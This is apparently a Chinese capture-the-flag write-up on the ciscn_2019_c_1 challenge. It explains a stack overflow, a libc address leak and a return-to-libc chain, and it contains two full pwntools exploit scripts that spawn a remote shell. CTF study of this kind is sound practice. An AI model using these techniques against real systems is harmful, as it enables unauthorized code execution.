和之前做的题目不太一样,这是一道Return2libc的题目,有很多问题还是不太懂,这里做一个记录。
首先进入到题目环境里面,看看程序大概功能,这样方便了解程序。
有三个功能选项,只有选项1才有具体的作用,会对输入进行加密,加密输出之后继续返回到程序
用IDA分析程序
checksec查看一下,开启了NX
先看到主函数,汇编代码的大致意思也就是选项处输入1就可以进入到encrypt
函数,下面给出主函数伪代码,输入的是v4,如果v4=1 调用encrypt
函数
进入到encrypt
分析
这里发现了gets
函数,这里并没有限制长度,可能存在栈溢出,但是这里的输入会经过下面对字符的加密处理,必然会破坏我们的构造的payload,不过这里可以绕过,只要让strlen(s)小于自增的x
,我们可以让strlen(s)的长度为0,也就是让字符串的第一个字符为"\x00"
,那样strlen函数读取到第一个字符串就会终止。
我们已经可以知道了如何实现溢出了,但是没有找到后门函数,也不知道libc的版本,这里就只能使用Return2libc
的方法
当函数调用栈没有执行权限时,就不能执行我们自己写入的shellcode,就利用程序里或系统里的函数,libc动态链接库中通常就有需要的函数,如system()
参考文章 1 2 3
我们首先要获得libc的基地址,可以通过puts函数入手,这里解释一下为什么通过puts函数而不通过其他函数,因为puts函数在我们进入encrypt函数之前已经调用了很多次了,对于每一个动态链接而言,第一次调用完成以后,就修正了.got表中的对应的puts函数的地址,所以我们可以通过puts函数泄露
所以首先要通过溢出来找到libc的版本,这里可以在线搜,也可以使用LibcSearcher
,在线搜的网址https://libc.blukat.me/
,然后通过得到的libc版本找到system函数的地址,特别注意到题目是部署在Ubuntu18上的,因此调用system需要栈对齐
,这里填充ret来对齐,这ret地址可以随意找一个返回地址
from pwn import*
from LibcSearcher import *
context.log_level = 'debug'
io = remote("node3.buuoj.cn" , 27729)
elf = ELF("./ciscn_2019_c_1")
puts_plt =elf.plt["puts"]
puts_got= elf.got["puts"]
pop_rid_ret = 0x400c83 #×64程序基本都存在的一个地址pop rdi;ret
main_addr = 0x400b28
io.recvuntil("Welcome to this Encryption machine\n")
io.sendline('1')
payload1 = b"\x00" + b"A"*(80 - 1 + 8) + p64(pop_rid_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.recvuntil("Input your Plaintext to be encrypted")
io.sendline(payload1)
io.recvuntil('Ciphertext\n')
io.recvline()
puts_addr = u64(io.recv(7)[:-1].ljust(8,b'\x00'))
print("------------------->",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
sys_libc = libc.dump('system')
bin_sh_libc = libc.dump('str_bin_sh')
puts_libc = libc.dump('puts')
ret = 0x4006B9
sys_addr = puts_addr + (sys_libc - puts_libc)
bin_addr = puts_addr + (bin_sh_libc - puts_libc)
io.recvuntil("Welcome to this Encryption machine\n")
io.sendline('1')
io.recvuntil("Input your Plaintext to be encrypted")
payload2 = b"\x00" + b"A"*(80 - 1 + 8) + p64(ret) + p64(pop_rid_ret) + p64(bin_addr) + p64(sys_addr) + b'A'*8
io.sendline(payload2)
io.interactive()
这里再给一个exp
from pwn import *
from LibcSearcher import *
#p = process('../files/ciscn_2019_c_1')
p = remote('pwn.buuoj.cn', 20115)
e = ELF('../files/ciscn_2019_c_1')
start = 0x400B28
rdi_addr = 0x0000000000400c83
puts_plt = e.plt['puts']
gets_got = e.got['gets']
log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))
p.sendlineafter('choice!\n', '1')
payload1 = 'a' * (0x50 + 8)
payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)
payload1 += p64(start)
p.sendline(payload1)
p.recvuntil('@')
p.recvline()
gets_leak = u64(p.recvline()[:-1].ljust(8, '\0'))
log.success('get_leak_addr => {}'.format(hex(gets_leak)))
libc = LibcSearcher('gets', gets_leak)
libc_base = gets_leak - libc.dump('gets')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))
p.sendlineafter('choice!\n', '1')
payload2 = 'a' *(0x50 + 8)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()
放一篇文章